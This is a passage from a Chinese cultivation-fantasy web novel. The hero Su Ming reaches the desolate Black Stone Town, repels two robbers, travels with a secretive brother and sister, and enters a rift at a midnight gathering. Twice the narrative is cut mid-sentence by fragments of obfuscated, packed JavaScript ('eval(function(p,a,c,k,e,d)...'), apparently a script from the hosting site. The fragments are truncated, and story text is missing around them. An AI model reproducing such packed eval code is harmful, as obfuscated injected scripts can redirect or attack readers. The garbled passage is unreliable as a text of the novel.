又颠簸了近十个小时,在第三天的黄昏,中巴车终于摇摇晃晃地停在了一个黄土围墙围起来的小镇边缘。低矮的土坯房,坑洼的土路,街上行人稀少,穿着厚实破旧的衣服,皮肤黝黑粗糙,眼神漠然。风很大,卷起地上的沙土,打在脸上生疼。 这里还不是黑石镇,是距离黑石镇最近的一个、勉强能通车的小据点。从这里到黑石镇,据说还有一百多公里崎岖难行的山路,没有公共交通,只能找当地人的车,或者……自己走。 苏明下了车,踩在坚实的、满是尘土的地面上。长途跋涉的疲惫□□燥凛冽的风一吹,散去了大半。他紧了紧衣领,压低了帽檐,打量着这个陌生而荒凉的地方。 接下来,才是真正的挑战。 他需要找地方过夜,然后打听如何去黑石镇,以及……看看有没有其他“同行者”的踪迹。 小镇只有一条主街,两旁零星开着几家招待所、饭馆和小卖部。苏明选了家看起来最不起眼、门口挂着“住宿”破木牌的土房子走了进去。 老板是个满脸皱纹、叼着旱烟袋的老汉,看了苏明的身份证(假),收了五十块钱,递给他一把拴着木牌的钥匙,指了指后院一间低矮的土坯房,就不再理会。 房间很小,只有一张木板床,一张破桌子,一股霉味。但还算干净。苏明放下背包,检查了一下门窗,还算结实。他从背包里拿出压缩干粮和水,简单吃了点,然后盘坐在硬邦邦的床上,开始调息。 小镇的夜晚来得很快,也格外寂静。只有风声呼啸,偶尔传来几声狗吠。 夜深了。苏明忽然睁开了眼睛。 他听到了一阵极其轻微、但不同于风声的动静,从院子外面传来。像是……有人刻意放轻的脚步声,不止一个。 他悄然下床,贴近门缝,向外望去。 月光下,两个黑影正悄无声息地翻过低矮的土墙,落在院子里。他们动作敏捷,落地无声,显然不是普通人。两人都穿着深色的户外装,背着包,手里似乎拿着短棍之类的东西。 他们进了院子后,没有去别的房间,而是径直朝着苏明所在的这间土坯房,摸了过来。 苏明眼神一冷,右手悄然摸向了腰间的合金匕首,左手扣住了一张“火煞符”。 这么快,就找上门来了? 是“判官”的人?还是……这小镇上,本来就不太平? 35. 黑石镇 脚步声停在门外。苏明屏住呼吸,手指扣紧符箓。木门发出轻微的、令人牙酸的“吱呀”声,似乎被什么东西撬动。 他背靠墙壁,藏在门后的阴影里,将灵力灌注双耳,仔细分辨外面的动静。两个人,呼吸绵长,动作很轻,但撬门的动作透着一股急躁,不像训练有素的“影流会”成员,倒像是……当地的地痞? 就在门闩即将被撬开的瞬间,苏明猛地发力,一把拉开门! 门外两人显然没料到屋里人主动开门,还这么快。撬门那个是个瘦高个,手里拿着根细铁钩,脸上有道疤,愣在当场。后面是个矮壮的黑脸汉子,手里拎着根钢管,见门开,下意识就抡起钢管砸过来! 苏明不退反进,在钢管砸下的刹那,侧身进步,左手如电,一记掌刀狠狠切在黑脸汉子持钢管的手腕内侧! “哎哟!”黑脸汉子痛呼一声,钢管脱手,哐当落地。 同时,苏明右脚无声无息弹出,精准地踢在瘦高个的迎面骨上!瘦高个“嗷”一嗓子,抱着小腿就蹲了下去。 整个过程不过两秒。两人还没明白怎么回事,就一个捂手一个抱腿,失去了战斗力。 苏明没停手,上前一步,脚尖在落地的钢管上一挑,钢管飞起落入手中,然后“啪”地一下,顶在了正要爬起来的黑脸汉子喉咙上。 “别动。”苏明声音不大,在寂静的夜里却格外冰冷。 黑脸汉子吓得浑身一僵,脸色煞白。瘦高个也停了呻吟,惊恐地看着苏明。 “谁让你们来的?”苏明问,目光扫过两人。借着月光,能看清他们身上是本地人常穿的旧棉袄,脸上是常年风吹日晒的粗糙,眼神凶悍但没什么章法,确实是本地混子的模样。 “没、没人让……”黑脸汉子还想狡辩。 苏明手腕微微一压,钢管冰冷的触感让黑脸汉子把话咽了回去。 “大哥!大哥饶命!”瘦高个比较机灵,连忙求饶,“是、是我们哥俩瞎了眼,看您一个人,背个大包,像是有钱的……就想、就想弄点酒钱……真没别人指使!” 入室抢劫的混混。苏明心里一松,但警惕没放。他刚才出手有分寸,用的是巧劲和普通人难以反应的速度,没显露灵力。在这地方,低调是第一位的。 “滚。”苏明收回钢管,退后一步。 两人如蒙大赦,连滚爬爬地冲出院子,消失在夜色里,连掉在地上的铁钩都顾不上捡。 苏明关上门,重新插好门闩,又搬了那张破桌子顶上。他回到床上,没再修炼,而是侧耳听着外面的动静。远处隐约传来几声狗吠,还有那两人隐约的咒骂和痛呼声,渐渐远去。 看来真是意外。这地方果然乱。 他重新盘坐,但没再完全入定,而是保持着浅层的警戒。小镇的夜,似乎格外漫长。 第二天一早,苏明在院子里的压水井边简单洗漱了一下。水冰凉刺骨,带着一股泥沙味。老板叼着烟袋出来看了他一眼,眼神有点古怪,但没说话,又缩回屋里了。 苏明背起包,走出这间简陋的招待所。清晨的小镇笼罩在薄雾和寒气中,街上已经有了些行人,多是本地人,裹得严实,行色匆匆。他找了个卖早点的摊子,要了碗热乎乎的羊杂汤和两个馍,一边吃,一边听旁边人闲聊。 “……听说了吗?老刘家那辆破皮卡,昨天让人给包了,出价这个数!”一个满脸风霜的汉子伸出一只手,五指张开。 “五百?跑黑石镇那破路,不值当吧?”另一个人说。 “五百?想得美!五千!包来回!说是拉几个南方来的老板,去那边看‘石头’。” “又是找矿的?这年头,什么人都往那边跑……” 黑石镇,包车。苏明心里有数了。他几口喝完汤,走到刚才说话那汉子旁边,递了根烟:“大哥,打听个事儿。您说的包车去黑石镇,在哪能找到车?我也有点事要去那边。” 汉子接过烟,看了苏明一眼,点了火:“小伙子,去那鬼地方干啥?鸟不拉屎的,除了石头就是沙子。” “收点药材,听说那边山里有些老药。”苏明随口编了个理由。 “哦。”汉子也没多问,指了指街尾,“老刘家就在那头,门口停了辆绿色破皮卡的就是。不过他那车让人包了,你去问问,看他还有没有别的门路,或者看那老板愿不愿意捎个人,分摊点车钱。不过……”他顿了顿,压低声音,“我看那包车的几个人,不太像正经看矿的老板,身上有股子……说不出的味儿,你小心点。” “谢了大哥。”苏明道了谢,朝街尾走去。 果然,街尾一户土坯院门口,停着一辆锈迹斑斑的绿色皮卡。车旁边站着三个人,正在抽烟说话。 一个五十来岁、皮肤黝黑、穿着脏兮兮军大衣的老头,应该是车主老刘。另外两个,一男一女。 男的大约三十出头,个子不高,但很精壮,穿着灰色的冲锋衣,背着一个鼓鼓囊囊的登山包,手里拿着个类似指南针的仪器在看,眉头微锁。女的看起来二十五六岁,扎着高马尾,同样穿着冲锋衣,但更合身,勾勒出利落的线条,脸上没什么表情,眼神锐利,正警惕地扫视着周围。 两人身上都有一股干练、精悍的气质,与周围环境格格不入。而且,苏明在他们身上,隐约感觉到了一丝极其微弱的、被刻意收敛的能量波动。是修士,或者至少是接触过修行、有修为在身的人。 是“同行者”。很可能也是去参加集会的。 苏明走过去,老刘先看了过来,目光在他身上扫了扫:“小伙子,有事?” “刘师傅是吧?听说您这儿有车去黑石镇?我想搭个车,车钱好商量。”苏明说道,同时看了一眼旁边那一男一女。 那一男一女也停止了交谈,看向苏明。男的眼中带着审视,女的则没什么表情,只是目光在苏明背后的登山包上停留了一瞬。 “车让人包了。”老刘指了指那对男女,“这两位老板包了,今天就走。你去问问别人吧。” “刘师傅,您看,我这急着过去收药材,晚了怕收不着了。”苏明拿出“周明”那套说辞,又看向那对男女,语气诚恳,“两位老板,方便捎个人吗?车钱我出一份,路上的开销我也能分担。一个人跑长途也闷,多个人多个照应。” 男的没说话,看向女的。女的打量了苏明几眼,开口,声音清脆,但没什么温度:“你去黑石镇收药材?什么药材?” “雪莲,红景天,锁阳,还有些老山民手里的藏药。”苏明面不改色,他提前查过资料,西北确实产这些。 “现在不是采药的季节。”女的说。 “收陈货,也碰碰运气,看看有没有老乡手里有存货。” “你一个人?” “是,小本生意,雇不起人。” 女的沉默了几秒,看向老刘:“刘师傅,你这车挤四个人,能行吗?” 老刘咧嘴一笑,露出被烟熏黄的牙:“能行!后斗宽敞着呢!就是路上颠,得吃点苦。” “让他坐后斗?”男的皱眉。 “坐驾驶室挤不下,除非他抱着你。”老刘说话糙。 女的似乎不太在意,对苏明点点头:“行,你跟着吧。车钱分摊,路上的食宿自理。路上少问,少看,到了地方各走各路。” “没问题,谢谢老板!”苏明连忙道谢,心里却提高了警惕。这女人答应得不算痛快,但也没为难,似乎对多一个人并不在意,或者说,不认为他能构成什么威胁。 男的没再说什么,只是又看了苏明一眼,眼神深处似乎有几分疑虑,但没反对。 谈妥了,老刘招呼着上车。那对男女坐进了驾驶室后排。苏明把自己的大背包扔进后车斗,自己也爬了上去。后斗里堆着些杂物,还有几个油桶。他找了个相对干净的地方坐下,背靠着驾驶室后窗。 车子发动,发出老牛喘气般的轰鸣,颠簸着驶出了小镇,一头扎进了茫茫戈壁。 路果然难走。所谓的“路”,不过是戈壁上被车辙压出来的、蜿蜒起伏的土路。皮卡像艘小船,在土浪里上下颠簸,左右摇晃。风很大,卷起沙尘,打在脸上生疼。苏明用围巾裹住口鼻,只露出一双眼睛,默默看着车后卷起的漫天黄尘。 驾驶室里,那对男女和老刘有一搭没一搭地聊着天,多是老刘在吹嘘自己跑这条线的“丰功伟绩”,那男的偶尔附和两句,女的则很少开口。 苏明靠在车斗里,闭目养神,实则灵力在体内缓缓运转,抵抗颠簸带来的不适,同时也在仔细感知着周围,尤其是驾驶室里的动静。那对男女身上微弱的能量波动,在车子颠簸和风沙干扰下,时断时续,难以捉摸。但他能感觉到,那男的似乎对路线很熟,不时会纠正老刘的走法。 看来,他们不是第一次来,或者,手里有更精确的地图。 车子在戈壁上颠簸了大半天,除了中途停下来让众人方便了一次,几乎没停。傍晚时分,天色暗了下来。远处的天际线上,出现了一片黑沉沉的、犬牙交错的山影。 “前面就进山了!”老刘扯着嗓子喊,“进了山,路更不好走,晚上不能走,得找个地方歇脚!” 果然,又颠簸了半个多小时,皮卡拐进一个背风的、干涸的河床。这里有几处用石块简单垒起来的、半坍塌的窝棚,看起来像是以前牧民或路人留下的临时歇脚点。 “今晚就在这儿凑合一宿!”老刘停下车,跳了下来,活动着僵硬的身体。 那一男一女也下了车。男的去检查窝棚,女的则站在车旁,目光扫过四周,最后落在刚从后斗爬下来的苏明身上,眼神平静无波。 “我去捡点柴火。”苏明主动说,转身朝河床边缘稀稀拉拉的、干枯的灌木丛走去。他知道,这种时候,主动做点事,能降低别人的戒心,也能顺便观察下周围环境。 戈壁的夜晚,温度降得极快。等苏明抱着一小捆枯枝回来,老刘已经在窝棚前生起了一小堆火,正拿着个铁皮饭盒烧水。那对男女也升了堆火,坐在旁边,男的从背包里拿出自热食品和水。 苏明把自己的火堆生在稍远一点的地方,也拿出压缩干粮和水,默默吃着。戈壁的夜空异常清澈,繁星点点,银河如带,美得惊心动魄,却也透着无边的孤寂和寒冷。 “小周,”那个男的忽然开口,对着苏明这边喊道,“过来一起烤烤火吧,夜里冷。” 苏明犹豫了一下,没拒绝,拿着东西走了过去,在火堆旁坐下。“谢谢老板。” “什么老板不老板的,出门在外,互相照应。”男的笑了笑,递过来一小包牛肉干,“吃点这个,顶饿。我叫陈刚,这是我妹妹,陈静。” “周明。”苏明接过牛肉干,道谢。陈静对他点了点头,算是打过招呼。 “周老弟看着年轻,一个人跑这么远收药材,胆量不小啊。”陈刚看似随意地聊着。 “没办法,混口饭吃。”苏明憨厚地笑了笑。 “黑石镇那地方,最近可不太平。”陈刚撕着牛肉干,慢悠悠地说,“听说来了不少外地人,三教九流都有,乱得很。你收药材,小心点,别被人盯上。” “多谢陈哥提醒,我就收点药材,不惹事。”苏明应道,心里却琢磨着陈刚话里的意思。他是在试探,还是好心提醒? 陈静忽然开口,声音在火堆的噼啪声中显得很清晰:“你包里,除了药材,还带了什么?” 苏明心里一凛,面上不动声色:“就是些换洗衣物,干粮,水,还有点防身的东西。这地方不太平,带了个甩棍。”他拍了拍腰侧,那里确实别着那把兑换来的合金匕首,用衣服遮着。 陈静看了他一眼,没再问,低头继续吃东西。 气氛有些沉默。只有火堆燃烧的噼啪声,和远处戈壁风吹过岩石缝隙的呜咽。 “早点休息吧,明天还得赶路,进了山更不好走。”陈刚说道。 三人各自回到自己的铺位(苏明在窝棚另一个角落用睡袋)。老刘早已在皮卡驾驶室里打起了呼噜。 苏明躺在睡袋里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那是一个坐落在一片相对平坦谷地中的小镇。房屋多是石头和泥土垒成,低矮而坚固,被风沙侵蚀得颜色暗淡。小镇不大,只有一条主街,街上几乎看不到人,只有几条瘦骨嶙峋的野狗在游荡。四周是光秃秃的、呈现出铁黑色的山岩,寸草不生,只有一些低矮的、贴着地皮生长的、不知名的荆棘。 这里就是黑石镇。荒凉,死寂,弥漫着一股说不出的压抑感。 “到了!”老刘松了口气,把车停在镇口,“我就送你们到这儿了。回去的车,三天后,还是这个时间,这个地点。过时不候。” 陈刚付了剩下的车钱。苏明也拿出自己那份给了老刘。 “三位老板,这地方邪性,晚上别乱跑,早点找地方住下。”老刘接过钱,又叮嘱了一句,便调转车头,一溜烟地开走了,似乎一刻也不想多待。 皮卡扬起的尘土慢慢落下。苏明、陈刚、陈静三人站在镇口,看着眼前这座荒凉死寂的小镇。 “走吧,先找地方落脚。”陈刚说了一句,率先朝着镇里走去。陈静紧随其后。 苏明背起背包,也跟了上去,目光却不断扫视着周围。小镇比他想象的还要破败,很多房屋门窗都用木板钉死了,像是废弃了很久。仅有几间开着门的,门口也积着厚厚的灰尘。空气里有种淡淡的、像是硫磺混合着腐朽东西的怪味。 街道两旁的墙壁上,用红漆或者白灰画着一些奇怪的符号,有些像是警告,有些则完全看不懂。苏明注意到,在一些不起眼的角落,有一些很新的脚印,还有车轮印,不止一辆车。 这里,已经有人来了。而且,可能不少。 他们来到小镇中心,那里有一栋相对“气派”点的、二层石头小楼,门口挂着一个被风雨侵蚀得看不清字迹的木牌,依稀能辨认出“旅店”二字。旁边还停着两辆沾满泥泞的越野车。 “就这儿吧。”陈刚推开门走了进去。 里面光线昏暗,弥漫着浓烈的烟草和劣质白酒味。一个简陋的木柜台后面,坐着一个身材干瘦、眼窝深陷、穿着脏兮兮皮袄的老头,正就着一碟花生米喝酒。看到有人进来,老头抬起浑浊的眼睛瞥了一眼,没说话。 “住宿,三间房。”陈刚走到柜台前。 “一间房,一天两百,押金五百,先付钱。”老头声音嘶哑,伸出枯瘦的手。 “这么贵?”苏明皱眉。这地方,这条件,简直是抢钱。 “就这价,爱住不住。”老头眼皮都没抬,“这几天,就我这儿能住人。” 陈刚没多说什么,掏出钱付了。老头慢吞吞地拿出三把拴着木牌的钥匙,扔在柜台上,又指了指旁边一个黑黢黢的楼梯:“楼上,自己找。” 三人拿着钥匙上了楼。二楼更暗,只有走廊尽头一扇小窗透进点光。房间很窄小,只有一张硬板床,一张破桌子,床上铺着发黑发硬的被褥,散发着一股霉味。窗户玻璃残缺不全,用木板钉着。 苏明选了个靠楼梯的房间,陈刚和陈静的房间在走廊另一头。 放下背包,苏明先检查了一下房间。没发现什么异常,但那种被注视的不适感,始终若有若无。他走到窗边,从木板的缝隙往外看。能看到小镇一部分,还有远处黑色的山岩。街上依旧空无一人,但那两辆越野车还停在旅店门口。 他回到床边坐下,没有立刻休息,而是盘膝调息,同时仔细感知着周围的动静。 楼下隐约传来老头喝酒、咳嗽的声音。隔壁陈刚和陈静的房间里,有极低的说话声。远处,似乎有风声,还有……一种极其微弱、仿佛从地底深处传来的、低沉的轰鸣声?像是有什么巨大的东西在缓缓移动,又像是地壳在摩擦。 是错觉吗?还是这黑石镇地下,真的有什么东西? 苏明想起关于“黑水城”和“裂隙”的传说。难道,那所谓的“裂隙”,就在这附近? 夜色,再次降临这个荒凉诡异的小镇。 而明天,就是月圆之夜,集会开始之时。 风暴的中心,已然近在眼前。 36. 风沙渡 第二天,天刚蒙蒙亮,苏明就被冻醒了。屋子里跟冰窖似的,呵气成霜。他搓了搓僵硬的手脚,从睡袋里爬出来,活动了一下筋骨。左臂的伤已经结痂,但在这寒冷干燥的环境里,还是有些发紧。 他走到窗边,从木板缝隙往外看。小镇依旧死寂,那两辆越野车还在,车上盖了层薄霜。街上没有行人,连狗都不见了。只有风,永不停歇地刮过黑色的岩石和废弃的房屋,发出呜咽般的哨音。 “黑石镇,风沙渡……”苏明低声念着阿九提到的集会地点。他看了看时间,上午八点。集会是在今晚子时,还有十几个小时。他得先想办法找到“风沙渡”,确认位置,顺便摸摸情况。 他没急着出门,先盘膝坐下,运转了几个周天功法,让身体暖和起来,也恢复了精神。然后,他从背包里拿出压缩干粮和水,简单解决了早餐。 九点左右,隔壁传来开门声和脚步声,是陈刚和陈静出门了。苏明也背上背包,推门走了出去。 走廊里依旧昏暗。陈刚兄妹已经下楼了。苏明慢慢走下去,看到陈刚正在柜台前,跟那个干瘦老头说着什么。陈静站在门口,抱着手臂,看着外面。 “……风沙渡?没听说过。”老头嘶哑的声音传来,带着不耐烦。 “就是镇子西头,靠近老矿坑那边,以前有个歇脚的店?”陈刚问。 老头浑浊的眼睛眯了眯,看了陈刚一眼,又低头抿了口酒:“西头?老矿坑早塌了,那地方邪性,没人去。什么店不店的,不知道。” 语气生硬,显然不愿多说。 苏明走到柜台边,对老头说:“老板,我想出去转转,买点东西。镇上哪儿有卖吃的和水的?” 老头眼皮都没抬:“街尾,老马家小卖部,还开着。别的,没了。” “谢了。”苏明不再多问,看了一眼陈刚。陈刚对他点了点头,没说话,显然也没问出什么有用的。两人一起走出了旅店。 清晨的寒风刀子一样刮在脸上。三人站在旅店门口,一时间都没说话。 “分开打听,还是?”苏明主动问。 “分开吧,快一点。中午回这里碰头。”陈刚说道,“小心点,这镇上的人,不太对劲。” 苏明点点头,朝街尾走去。陈刚和陈静则朝着另一个方向。 街道依旧空荡荡,两旁的房屋门窗紧闭,有些窗户后面似乎有黑影一闪而过,但看不清是什么。苏明提高了警惕,手插在口袋里,握住了那把合金匕首。 街尾果然有个小卖部,门面更小,货架上稀稀拉拉摆着些落满灰尘的廉价烟酒、方便面和瓶装水。店主是个六十多岁、缺了颗门牙的老汉,裹着件油腻的军大衣,坐在煤球炉子旁打盹。 苏明买了些水和饼干,付钱时,装作随意地问:“大爷,跟您打听个地儿,风沙渡,您知道在哪儿吗?” 老汉睁开浑浊的眼睛,看了苏明一眼,摇摇头:“啥风沙渡?没听说过。” “就是西头,靠近老矿坑那边,以前是不是有个店?”苏明不死心。 老汉脸色变了变,眼神里闪过一丝恐惧,声音也低了下去:“娃子,那地方去不得!老矿坑……闹鬼!早年死了好多人,后来矿塌了,就再没人敢去了。什么店,早没了,连石头都让风刮没了!听我一句劝,别打听,别去!” 看来问不出什么了,反而更印证了“风沙渡”不寻常。苏明道了谢,拿着东西离开。他没回旅店,而是绕了点路,朝着镇子西头走去。 越往西走,房屋越稀疏破败,最后只剩下一片被风化的、奇形怪状的黑色岩石。地上是厚厚的沙土和碎石,风更大,卷起沙尘,能见度很低。空气里那股硫磺混合腐朽的气味,似乎更浓了些。 苏明停下脚步,从背包里拿出那个从“鼹鼠”那里得来的仪器箱,打开,调到能量探测模式。屏幕上的波纹立刻剧烈跳动起来,显示出前方有极其强烈的、混乱的能量反应!而且,不止一处!像是有多个能量源,或者一个巨大的、不稳定的能量场。 他抬头望去,前方是更加陡峭的山崖,山体呈现出诡异的暗红色和黑色夹杂的颜色,仿佛被大火烧过,又像是渗出了什么不祥的东西。山脚下,隐约能看到一些坍塌的建筑痕迹,和巨大的、深不见底的坑洞轮廓——应该就是老矿坑了。 “风沙渡”如果真的存在,很可能就在这片区域。但这里能量如此混乱暴烈,普通人靠近恐怕都会感到不适,甚至产生幻觉。难怪镇上的人谈之色变。 苏明没有继续深入。他记下大概方位和能量反应最强的几个点,然后转身往回走。这里地形复杂,能量场混乱,白天尚且如此,晚上恐怕更危险。他得等晚上和阿九汇合,再一起行动。 回到旅店时,还不到中午。陈刚和陈静已经回来了,正坐在一楼那张油腻的桌子旁,低声说着什么,桌上摊着一张手绘的简易地图。看到苏明进来,陈刚把地图收了起来。 “有收获吗?”苏明走过去坐下,拿出水喝了一口。 “镇上的人嘴都很紧,问不出什么。”陈刚摇头,“西头那边,你去看了?” “去了,很荒,能量场很乱,确实不像有店的样子。”苏明如实说,但没提仪器箱的事。 “我们也去看了看。”陈静忽然开口,声音清冷,“矿坑附近,有新脚印,还有车辙印。不止我们一批人。” 苏明点头,和他观察到的吻合。 “今晚……”陈刚欲言又止,看了看楼梯方向,那个干瘦老头还坐在柜台后打盹。“晚上再说。先休息,养足精神。” 三人各自回了房间。苏明关上门,再次检查了一遍门窗,然后盘坐在床上,一边调息,一边思考。 今晚子时,风沙渡。阿九会出现。还有陈刚兄妹,以及其他可能已经抵达的各方势力。“判官”会不会来?他会以什么面目出现? 自己手上有“路引”碎片,是天师法印的“钥匙”,还是“判官”追查的目标。今晚,恐怕不会太平。 他需要更多的准备。苏明拿出那本《基础符箓详解》,翻到最后几页,那里记载着几种威力更大、但也更复杂、消耗更巨的符箓,其中一种名为“雷火符”,是“火煞符”的进阶版,融合了一丝天雷气息,对阴邪鬼物有额外克制,但绘制成功率极低,对绘制者要求也高。 他犹豫了一下,还是决定试试。时间不多,但多一张强力符箓,就多一分保障。 他摊开仅剩的几张上好黄表纸,研磨朱砂,调和灵力,凝神静气,开始绘制。笔尖落下,灵力随之流转,需要在符纹中同时构建出“火”的暴烈与“雷”的刚正,还要让两者巧妙融合,难度极大。 第一张,灵力不济,符纹中断,废了。 第二张,火行与雷意冲突,符纸自燃。 第三张……他额头见汗,手臂伤口隐隐作痛。他吞下一颗益气丹,调息片刻,再次提笔。 这一次,他心无杂念,全部精神都灌注在笔尖。灵力如丝,缓缓注入,火行炽热,雷意刚猛,两者在符纹的引导下,如同两条桀骜的蛟龙,被强行糅合在一起,发出轻微的噼啪声。 最后一笔落下! 符纸上红光一闪,隐隐有电芒流转,随即内敛,一张暗红色、带着淡淡焦糊气息的符箓,静静躺在桌上。 成了!虽然只是下品,但确实是“雷火符”! 苏明长长舒了口气,感觉比打了一架还累。他小心地将这张新符收好,贴身放着。这可能是他目前最强的攻击手段之一了。 下午,他没再出门,一直在房间里调息恢复,同时也在脑海中反复演练着今晚可能遇到的各种情况,以及应对策略。 夜幕,再次降临这座荒凉的小镇。这一次,黑夜带来的不仅仅是寒冷和死寂,还有一种无形的、令人窒息的压迫感。仿佛有什么东西,正在黑暗中苏醒,或者……从地底深处爬上来。 晚上十一点,苏明背好背包,检查了一遍装备,推开房门。走廊里一片漆黑,只有楼梯口透上来一点旅店大堂的昏黄灯光。他脚步无声,走下楼梯。 柜台后,那个干瘦老头已经不见了,不知道是睡了,还是去了别处。大堂里空无一人。 苏明推开旅店门,寒冷的夜风夹杂着沙尘扑面而来。他拉紧了衣领,压低帽檐,朝着白天探查过的西头方向走去。 街上依旧没人,但那种被窥视的感觉更强烈了。他能感觉到,在一些黑暗的角落和废弃的窗户后面,有目光在注视着他。不止一道。 他没理会,加快脚步。出了镇子,进入那片黑色岩石区域,风更大,沙尘打在脸上生疼。他运起灵目术,在黑暗中勉强能看清道路。能量探测仪显示,前方的能量场比白天更加活跃、混乱,仿佛一锅煮沸的、不祥的浓汤。 走了约莫半小时,前方出现一片相对开阔的谷地。谷地中央,依稀能看到几栋几乎完全坍塌、只剩下断壁残垣的石屋轮廓。旁边就是那个巨大的、如同恶魔巨口般的废弃矿坑,黑洞洞的,深不见底,往外散发着阴冷的气息和更浓的硫磺味。 这里应该就是“风沙渡”旧址,也是今晚集会的地点。 谷地里已经有了人。不止一批。 靠近矿坑边缘的空地上,生着几堆篝火,火光在狂风中摇曳不定,映出周围影影绰绰的人影。大约有二十多个人,分成几堆,彼此隔着一段距离,互相戒备。有的穿着户外装,有的穿着古怪的长袍,甚至有人穿着少数民族的服饰。有的低声交谈,有的沉默地擦拭着武器或检查着装备。 苏明在谷地边缘停下,借着岩石阴影隐蔽身形,仔细观察。他看到了陈刚和陈静,他们站在一堆篝火旁,身边还有另外三个人,两男一女,看样子是他们的同伴。陈静正拿着那个罗盘,对着矿坑方向,眉头紧锁。 另一堆篝火旁,是几个穿着黑色劲装、气息阴冷的男人,为首的是一个戴着半张金属面具、只露出下巴和嘴唇的中年人,身形瘦削,正闭目养神。苏明在他身上感觉到了比“丁二一”更强的煞气和压迫感。难道是“判官”?还是“判官”的手下? 还有一堆人,打扮更杂乱,有僧有道,有老有少,看起来像是临时凑在一起的散修或探险者,彼此之间也充满不信任。 苏明没有看到阿九。他看了看时间,还差一刻钟到子时。 他悄然移动位置,绕到矿坑另一侧,找了个既能观察全局、又相对隐蔽、背后是岩石、不易被包围的地方,藏了起来。他将“敛息术”运转到极致,几乎与黑暗的岩石融为一体。 时间一分一秒过去。谷地里的气氛越来越凝重,只有风声、篝火的噼啪声,和偶尔响起的、压低了的交谈声。 子时将近。 突然,矿坑深处,传来一阵低沉的、仿佛从地心传来的轰鸣!整个谷地都微微震动起来!碎石从矿坑边缘滚落。 所有人都紧张地看向矿坑方向。 紧接着,矿坑那无边的黑暗中,亮起了几点幽绿色的、如同鬼火般的光芒,缓缓飘了上来。不是火,更像是某种会发光的矿物,或者……别的什么东西。 借着这幽绿的光芒,可以看到,在矿坑内壁上,距离坑口约十几米深的地方,赫然出现了一个巨大的、倾斜向下的洞口!洞口边缘犬牙交错,像是被什么巨力硬生生撕裂开,里面漆黑一片,深不见底,但那种混乱暴烈的能量波动,正是从这洞口中汹涌而出! “裂隙!是裂隙入口!”有人失声惊呼。 “时间到了!”另一堆人中,那个戴着金属面具的中年人猛地睁开眼,眼中精光四射,声音沙哑却带着奇异的穿透力,“凭信物或路引碎片,可入!一刻钟后,入口封闭!下一次开启,未知!” 他率先起身,带着手下几个黑衣人,走向那个幽光闪烁的洞口。其中一人拿出一块巴掌大小、非金非木的黑色令牌,对着洞口晃了晃。洞口边缘的幽光似乎微微波动了一下,让开了一条通道。几人鱼贯而入,消失在黑暗之中。 是“影流会”的人!那令牌就是信物?苏明盯着那个金属面具男,是他吗?“判官”? 陈刚那边也动了。陈静收起罗盘,和同伴一起,也走向洞口。陈静手中,赫然也拿着一块类似的黑色令牌碎片,看形状,和他手里的“路引”似乎能拼合!他们也将令牌碎片对着洞口示意,幽光波动,五人同样进入。 其他几堆人见状,也纷纷拿出各式各样的信物——有残破的玉佩,有古怪的兽骨,有写着符文的布帛,甚至有人拿出一颗散发着微光的奇异珠子。洞口幽光对这些信物都有反应,让持有者通过。 很快,谷地里就只剩下零星几个没有信物、或者还在犹豫的人,焦急地张望着。 苏明没动。他在等阿九。 就在一刻钟将尽,洞口幽光开始明灭不定、似乎要收缩关闭时,一道纤细的身影,如同鬼魅般,悄无声息地出现在洞口附近。正是阿九。 她依旧穿着那身深灰色运动装,但外面套了件带帽兜的斗篷,帽兜遮住了大半张脸。她手里拿着另一半“路引”碎片,对着洞口一晃。 幽光剧烈波动了一下,似乎对她的“路引”反应更强烈。阿九一步迈入洞口,但在身影即将被黑暗吞没的瞬间,她忽然回头,朝着苏明藏身的方向,极快地看了一眼,嘴角似乎勾起一个微不可查的弧度,然后彻底消失。 她看到自己了!苏明心中一凛。这女人,感知太敏锐了。 洞口幽光开始加速收缩、黯淡。 不能再等了! 苏明从藏身处冲出,身形如电,冲向洞口!同时,他从怀中掏出贴身保存的那半张“路引”碎片,高高举起! 谷地里剩下的人发出惊呼,目光齐刷刷聚焦过来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他身下是粗糙、湿滑的岩石地面,布满裂隙,缝隙里生长着一些散发着微光的、像是苔藓又像是菌类的古怪植物。空气阴冷潮湿,弥漫着浓郁的、混合了霉味、硫磺味、还有一种难以形容的、仿佛陈年血锈般的腥气。 能量乱流的感觉减弱了很多,但依然存在,如同背景噪音,让人心烦意乱,灵力运转滞涩。 他抬起头,看向上方。头顶是看不到尽头的黑暗,他坠落下来的那个“洞口”早已消失不见。这里,已经是另一个空间——黑水城裂隙的内部。 苏明检查了一下自身。背包还在,东西似乎没丢。左臂伤口在刚才的撞击中又裂开了一点,渗出血,但不严重。灵力消耗了六七成,急需恢复。 他拿出一张“清心符”贴在额头,清凉气息涌入,略微驱散了环境带来的压抑和烦躁。又吞下一颗益气丹,盘膝坐下,开始调息,同时警惕地感知着周围。 这里静得可怕。只有他自己的呼吸声,和远处隐约传来的、滴水的声音。那些漂浮的幽蓝光点,在他身边缓缓移动,仿佛有生命一般。 “仙尊,能感应到其他人吗?或者,这是什么地方?”苏明在心中问道。 凌虚子的神识缓缓扩散出去,片刻后,声音凝重:“此地……阴煞之气浓郁至极,且混杂着混乱的空间之力和……死气。神识探查受阻,仅能感应方圆数十丈。未发现其他生人气息,但……有一些不祥的、缓慢移动的能量体,在更深处徘徊。恐是阴魂,或受此地煞气侵蚀而成的邪物。此地不宜久留,需尽快找到出路,或与同伴汇合。” 阴魂?邪物?苏明心中一紧。他看向四周,那些幽蓝的光点似乎更多了,缓缓朝着他所在的方向飘来。 他不敢再耽搁,立刻起身,辨认了一下方向。前后左右都是狭窄、曲折、看不到尽头的岩石通道,如同巨大的迷宫。地面上有一些杂乱的新鲜脚印,朝着不同的方向延伸,显然是先下来的人留下的。 他该走哪边?陈刚他们?阿九?“判官”? 